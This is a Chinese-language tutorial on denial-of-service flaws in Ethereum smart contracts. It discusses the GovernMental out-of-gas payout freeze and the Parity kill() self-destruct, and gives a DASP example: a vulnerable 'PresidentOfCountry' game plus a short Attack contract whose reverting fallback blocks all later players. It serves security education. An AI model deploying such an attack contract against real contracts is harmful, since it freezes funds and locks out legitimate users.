#DASP# Denial of Services (5)

0x00 Info

在智能合约中,当 超过gas限制异常抛出非预期的终止合约访问控制被破坏 均会产生合约拒绝服务问题。
本篇就介绍DASP第五大漏洞–Denial of Service

0x01 Real World Impact

GovernMental

起因:GovernMental’s 1100 ETH jackpot payout is stuck because it uses too much gas
官网:GovernMental
源码:etherscan code

GovernMental本身是个嘲讽政府庞氏骗局的游戏合约,其规则大概为投资者捐最少1ETH给政府,如果政府在最近12小时内没有收到任何捐赠,则将奖金发给最后一名投资人,而如果收到奖励,则按一定比例分别将钱分给资金池、政府及投资人。

其中在大于12小时未收到赞助的逻辑分支中,将奖金分给最后一名投资人后会重置所有投资人:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) {
// Return money to sender
msg.sender.send(amount);
// Sends all contract money to the last creditor
creditorAddresses[creditorAddresses.length - 1].send(profitFromCrash);
corruptElite.send(this.balance);
// Reset contract state
lastCreditorPayedOut = 0;
lastTimeOfNewCredit = block.timestamp;
profitFromCrash = 0;
creditorAddresses = new address[](0); // out of gas!
creditorAmounts = new uint[](0); // out of gas!
round += 1;
return false;
}

以上标注out of gas的两行在底层运行时,代码会循环遍历存储位置并逐个删除,如果creditors过多的话,会消耗大于当前最大gas数量导致合约失效。

Governmental Attack:简化版的Governmental及其EXP利用。

Parity kill()

Parity Multisig Hacked. Again
A Postmortem on the Parity Multi-Sig Library Self-Destruct

这个其实在#DASP# Access Control (3)一篇中已经介绍,还是利用访问控制漏洞接管parity钱包,然后不是取钱还是调用合约中kill函数销毁合约,从而导致任意用户都无法继续使用。

1
2
3
4
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}

0x02 Example

实例来源于DASP,模仿King of the Ether游戏规则,当你向合约发送比现在price多的eth时,你就可以成为总统,之前的总统会收到当前price的补偿,且当前price翻倍。
而争夺者为一个合约且在fallback函数中恶意抛出异常,则可以破坏游戏规则永远成为总统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract PresidentOfCountry {
address public president;
uint256 public price;

function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}

function becomePresident() payable {
require(msg.value > price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}

contract Attack {
function () { revert(); }

function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}

Attack合约部署后通过构造函数调用PresidentOfCountry合约的becomePresident()函数,同时发送大于price的eth,则执行becomePresident逻辑,1. 向之前的账户发送price补偿;2. 自己合约账户变为president;3. price翻倍。
当其他正常账户参与游戏调用becomePresident逻辑时,同样会向attach合约地址(当前president)发送price,正因为当前president不是普通账户还是合约账户,transfer会触发合约中fallback函数,而恶业攻击者在fallback中执行了revert(),导致异常,从而无法执行后续变更总统和价格的逻辑。造成合约DOS。

可以再remix中模拟上述操作。

0x03 Others

除了智能合约,链核心、链节点、区块链相关的网址都会出现DOS。